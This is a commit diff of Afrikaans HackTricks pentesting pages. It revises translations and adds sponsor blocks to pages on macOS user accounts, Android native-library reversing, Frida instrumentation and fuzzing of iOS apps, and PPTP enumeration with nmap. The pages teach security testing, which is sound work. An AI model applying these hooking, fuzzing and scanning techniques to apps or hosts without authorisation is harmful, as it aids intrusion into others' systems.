* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,22 +6,36 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en losgeldaanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
### Gewone Gebruikers
* **Daemon**: Gebruiker gereserveer vir stelsel-daemons. Die verstek daemon-rekeningname begin gewoonlik met 'n "\_":
* **Daemon**: Gebruiker gereserveer vir stelseldaemons. Die verstek daemon-rekeningname begin gewoonlik met 'n "\_":
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
* **Gaste**: Rekening vir gaste met baie streng toestemmings
* **Gaskombers**: Rekening vir gaste met baie streng toestemmings
{% code overflow="wrap" %}
```bash
@ -30,26 +44,26 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
{% endcode %}
* **Niemand**: Prosesse word uitgevoer met hierdie gebruiker wanneer minimale toestemmings vereis word.
* **Niemand**: Prosesse word uitgevoer met hierdie gebruiker wanneer minimale toestemmings vereis word
* **Root**
### Gebruikerstoestemmings
### Gebruikerbevoegdhede
* **Standaard Gebruiker**: Die mees basiese van gebruikers. Hierdie gebruiker benodig toestemmings wat deur 'n administrateur gebruiker verleen word wanneer daar gepoog word om sagteware te installeer of ander gevorderde take uit te voer. Hulle kan dit nie op eie houtjie doen nie.
* **Administrateur Gebruiker**: 'n Gebruiker wat meestal as 'n standaard gebruiker optree, maar ook toegelaat word om root-aksies uit te voer, soos die installeer van sagteware en ander administratiewe take. Alle gebruikers wat tot die admin-groep behoort, het **toegang tot root via die sudoers-lêer**.
* **Root**: Root is 'n gebruiker wat byna enige aksie mag uitvoer (daar is beperkings wat opgelê word deur beskermings soos Stelselintegriteitsbeskerming).
* Byvoorbeeld, root sal nie in staat wees om 'n lêer binne `/System` te plaas nie.
* **Standaard Gebruiker:** Die mees basiese van gebruikers. Hierdie gebruiker benodig toestemmings wat deur 'n administrateur gebruiker verleen word wanneer daar gepoog word om sagteware te installeer of ander gevorderde take uit te voer. Hulle kan dit nie op hul eie doen nie.
* **Admin Gebruiker**: 'n Gebruiker wat meestal as 'n standaard gebruiker optree, maar ook toegelaat word om root-aksies uit te voer soos die installeer van sagteware en ander administratiewe take. Alle gebruikers wat behoort tot die admin groep **kry toegang tot root via die sudoers-lêer**.
* **Root**: Root is 'n gebruiker wat byna enige aksie mag uitvoer (daar is beperkings opgelê deur beskermings soos Stelselintegriteitsbeskerming).
* Byvoorbeeld sal root nie in staat wees om 'n lêer binne `/System` te plaas
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil hê jou **maatskappy geadverteer moet word in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,56 +6,83 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
**Vir verdere inligting, kyk: [https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)**
## WhiteIntel
Android-apps kan inheemse biblioteke gebruik, tipies geskryf in C of C++, vir prestasie-kritieke take. Malware-skeppers gebruik ook hierdie biblioteke, omdat dit moeiliker is om te ontleed as DEX-bytekode. Die afdeling beklemtoon omgekeerde ingenieurswese-vaardighede wat toegespits is op Android, eerder as om assambleertaal te leer. ARM- en x86-weergawes van biblioteke word verskaf vir versoenbaarheid.
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
**Vir verdere inligting, kyk na: [https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)**
Android-toepassings kan inheemse biblioteke gebruik, tipies geskryf in C of C++, vir prestasie-kritieke take. Malware-skeppers gebruik ook hierdie biblioteke, omdat hulle moeiliker is om te ontleed as DEX-bytekode. Die afdeling beklemtoon omgekeerde ingenieurswese-vaardighede wat toegespits is op Android, eerder as om assambleertaal te leer. ARM- en x86-weergawes van biblioteke word voorsien vir versoenbaarheid.
### Sleutelpunte:
- **Inheemse Biblioteke in Android-apps:**
- **Inheemse Biblioteke in Android-toepassings:**
- Gebruik vir prestasie-intensiewe take.
- Geskryf in C of C++, wat omgekeerde ingenieurswese uitdagend maak.
- Word gevind in `.so` (gedeelde voorwerp) formaat, soortgelyk aan Linux-binêre lêers.
- Malware-skeppers verkies inheemse kode om analise moeiliker te maak.
- **Java Native Interface (JNI) & Android NDK:**
- JNI maak dit moontlik dat Java-metodes in inheemse kode geïmplementeer kan word.
- JNI maak dit moontlik dat Java-metodes in inheemse kode geïmplementeer word.
- NDK is 'n Android-spesifieke stel gereedskap om inheemse kode te skryf.
- JNI en NDK koppel Java (of Kotlin) kode met inheemse biblioteke.
- **Biblioteeklaaiing & Uitvoering:**
- Biblioteke word in die geheue gelaai deur gebruik te maak van `System.loadLibrary` of `System.load`.
- JNI_OnLoad word uitgevoer wanneer die biblioteek gelaai word.
- **Biblioteek Laai & Uitvoering:**
- Biblioteke word in die geheue gelaai deur `System.loadLibrary` of `System.load`.
- JNI_OnLoad word uitgevoer tydens biblioteeklaaiing.
- Java-verklaarde inheemse metodes skakel na inheemse funksies, wat uitvoering moontlik maak.
- **Koppeling van Java-metodes aan Inheemse Funksies:**
- **Koppel Java Metodes aan Inheemse Funksies:**
- **Dinamiese Koppeling:** Funksienames in inheemse biblioteke stem ooreen met 'n spesifieke patroon, wat outomatiese koppeling moontlik maak.
- **Statiese Koppeling:** Gebruik `RegisterNatives` vir koppeling, wat buigsaamheid bied in funksienamering en -struktuur.
- **Statiese Koppeling:** Gebruik `RegisterNatives` vir koppeling, wat buigsaamheid bied in funksienaamgewing en -struktuur.
- **Omgekeerde Ingenieurswese-hulpmiddels en -tegnieke:**
- Hulpmiddels soos Ghidra en IDA Pro help om inheemse biblioteke te analiseer.
- `JNIEnv` is van kritieke belang vir die verstaan van JNI-funksies en interaksies.
- Oefeninge word verskaf om die laai van biblioteke, koppeling van metodes en identifisering van inheemse funksies te oefen.
- **Omgekeerde Ingenieurswese Gereedskap en Tegnieke:**
- Gereedskap soos Ghidra en IDA Pro help om inheemse biblioteke te analiseer.
- `JNIEnv` is noodsaaklik vir begrip van JNI-funksies en interaksies.
- Oefeninge word verskaf om biblioteke te laai, metodes te koppel, en inheemse funksies te identifiseer.
### Hulpbronne:
- **Leer ARM-assambleertaal:**
- Aanbeveel vir 'n dieper begrip van die onderliggende argitektuur.
- [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) van Azeria Labs word aanbeveel.
- **Leer ARM Assambleertaal:**
- Voorgestel vir 'n dieper begrip van die onderliggende argitektuur.
- [ARM Assambleer Basiese Beginsels](https://azeria-labs.com/writing-arm-assembly-part-1/) van Azeria Labs word aanbeveel.
- **JNI & NDK-dokumentasie:**
- **JNI & NDK Dokumentasie:**
- [Oracle se JNI-spesifikasie](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Android se JNI-tips](https://developer.android.com/training/articles/perf-jni)
- [Begin met die NDK](https://developer.android.com/ndk/guides/)
- [Android se JNI-wenke](https://developer.android.com/training/articles/perf-jni)
- [Aan die gang met die NDK](https://developer.android.com/ndk/guides/)
- **Debugeer Inheemse Biblioteke:**
- [Debugeer Android Inheemse Biblioteke met JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
- **Foutopsporing van Inheemse Biblioteke:**
- [Foutopsporing van Android Inheemse Biblioteke met JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
@ -63,10 +90,10 @@ Android-apps kan inheemse biblioteke gebruik, tipies geskryf in C of C++, vir pr
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -2,45 +2,59 @@
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Installeer Frida
## WhiteIntel
**Stappe om Frida op 'n Jailbroken toestel te installeer:**
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
1. Maak die Cydia/Sileo-toep aan.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Frida Installeer
**Stappe om Frida op 'n Jailbroken-toestel te installeer:**
1. Maak die Cydia/Sileo-toep oop.
2. Navigeer na Bestuur -> Bronne -> Wysig -> Voeg by.
3. Voer "https://build.frida.re" as die URL in.
4. Gaan na die nuut bygevoegde Frida-bron.
5. Installeer die Frida-pakket.
As jy **Corellium** gebruik, moet jy die Frida vrystelling aflaai vanaf [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[jouweergawe]-ios-universal.dylib.gz`) en uitpak en kopieer na die dylib-plek wat Frida vir vra, bv.: `/Gebruikers/[jougebruiker]/.cache/frida/gadget-ios.dylib`
As jy **Corellium** gebruik, moet jy die Frida vrystelling van [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[jouweergawe]-ios-universal.dylib.gz`) aflaai en uitpak en kopieer na die dylib-plek wat Frida vir vra, bv.: `/Users/[jougebruiker]/.cache/frida/gadget-ios.dylib`
Nadat dit geïnstalleer is, kan jy op jou rekenaar die opdrag **`frida-ls-devices`** gebruik en sien dat die toestel verskyn (jou rekenaar moet daartoe in staat wees om dit te benader).\
Voer ook **`frida-ps -Uia`** uit om die lopende prosesse van die foon te kontroleer.
## Frida sonder Jailbroken toestel & sonder om die app te patch
## Frida sonder Jailbroken-toestel & sonder om die app te patch
Kyk na hierdie blogpos oor hoe om Frida te gebruik in nie-jailbroken toestelle sonder om die app te patch: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
Kyk na hierdie blogpos oor hoe om Frida te gebruik in nie-jailbroken-toestelle sonder om die app te patch: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Frida Klientinstallasie
## Frida Kliëntinstallasie
Installeer **frida gereedskap**:
Installeer **frida-gereedskap**:
```bash
pip install frida-tools
pip install frida
```
Met die Frida-bediener geïnstalleer en die toestel wat loop en gekoppel is, **kontroleer** of die kliënt **werk**:
Met die Frida-bediener geïnstalleer en die toestel wat loop en gekoppel is, **kontroleer** of die klient **werk**:
```bash
frida-ls-devices # List devices
frida-ps -Uia # Get running processes
@ -65,7 +79,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
```
### Kry alle klasse en metodes
* Outocomplete: Voer net `frida -U <program>` uit
* Outovoltooi: Voer net `frida -U <program>` uit
<figure><img src="../../.gitbook/assets/image (1156).png" alt=""><figcaption></figcaption></figure>
@ -155,7 +169,7 @@ console.log("loaded");
[Van die dokumente](https://frida.re/docs/stalker/): Stalker is Frida se kode **naspeurings-enjin**. Dit maak dit moontlik om drade te **volg**, elke funksie **vas te lê**, selfs elke instruksie wat uitgevoer word.
Jy het 'n voorbeeld van die implementering van Frida Stalker in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
Jy het 'n voorbeeld wat Frida Stalker implementeer in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
Hierdie is 'n ander voorbeeld om Frida Stalker aan te heg elke keer as 'n funksie aangeroep word:
```javascript
@ -227,7 +241,7 @@ mkdir -p examples/wg-log/in # For starting inputs
# Create at least 1 input for the fuzzer
echo Hello World > examples/wg-log/in/0
```
* **Fuzzer-skrip** (`voorbeelde/wg-log/myfuzzer.js`):
* **Fuzzer-skrips** (`voorbeelde/wg-log/myfuzzer.js`):
{% code title="voorbeelde/wg-log/myfuzzer.js" %}
```javascript
@ -309,7 +323,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
{% endcode %}
{% hint style="danger" %}
In hierdie geval **herlaai ons nie die app of herstel die toestand** na elke lading. So, as Frida 'n **crash** vind, kan die **volgende insette** na daardie lading ook die app laat **crash** (omdat die app in 'n onstabiele toestand is), selfs al behoort die **inset die app nie te laat crash** nie.
In hierdie geval **herlaai ons nie die app of herstel die toestand** na elke lading nie. So, as Frida 'n **crash** vind, kan die **volgende insette** na daardie lading ook die app laat **crash** (omdat die app in 'n onstabiele toestand is), selfs al behoort die **inset die app nie te laat crash** nie.
Verder sal Frida in die uitsondering seine van iOS inkoppel, so wanneer **Frida 'n crash vind**, sal daar waarskynlik nie 'n **iOS crash verslae gegenereer word** nie.
@ -346,7 +360,7 @@ Jy kan die crashes in:
* `~/Library/Logs/DiagnosticReports`
{% hint style="warning" %}
iOS stoor slegs 25 crashes van dieselfde program, so jy moet dit skoonmaak anders sal iOS ophou om crashes te skep.
iOS stoor slegs 25 crashes van dieselfde program, so jy moet dit skoonmaak of iOS sal ophou om crashes te skep.
{% endhint %}
## Frida Android Tutoriale
@ -359,6 +373,20 @@ iOS stoor slegs 25 crashes van dieselfde program, so jy moet dit skoonmaak ander
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **stealer malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

View file

@ -2,21 +2,35 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Basiese Inligting
**Point-to-Point Tunneling Protocol (PPTP)** is 'n metode wat wyd gebruik word vir **afstandsbediening** van mobiele toestelle. Dit maak gebruik van **TCP-poort 1723** vir die uitruil van sleutels, terwyl **IP-protokol 47** (Generic Routing Encapsulation, of **GRE**), gebruik word om die data wat tussen eweknieë oorgedra word, te versleutel. Hierdie opset is noodsaaklik vir die vestiging van 'n veilige kommunikasiekanaal oor die internet, om te verseker dat die uitgeruilde data vertroulik bly en teen ongemagtigde toegang beskerm word.
**Point-to-Point Tunneling Protocol (PPTP)** is 'n metode wat wyd gebruik word vir **afgeleë toegang** tot mobiele toestelle. Dit maak gebruik van **TCP-poort 1723** vir die uitruil van sleutels, terwyl **IP-protokol 47** (Generic Routing Encapsulation, of **GRE**), gebruik word om die data wat tussen pere oorgedra word, te enkripteer. Hierdie opstelling is noodsaaklik vir die totstandbrenging van 'n veilige kommunikasiekanaal oor die internet, wat verseker dat die uitgeruilde data vertroulik bly en teen ongemagtigde toegang beskerm word.
**Verstekpoort**: 1723
@ -32,14 +46,14 @@ nmap Pn -sSV -p1723 <IP>
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
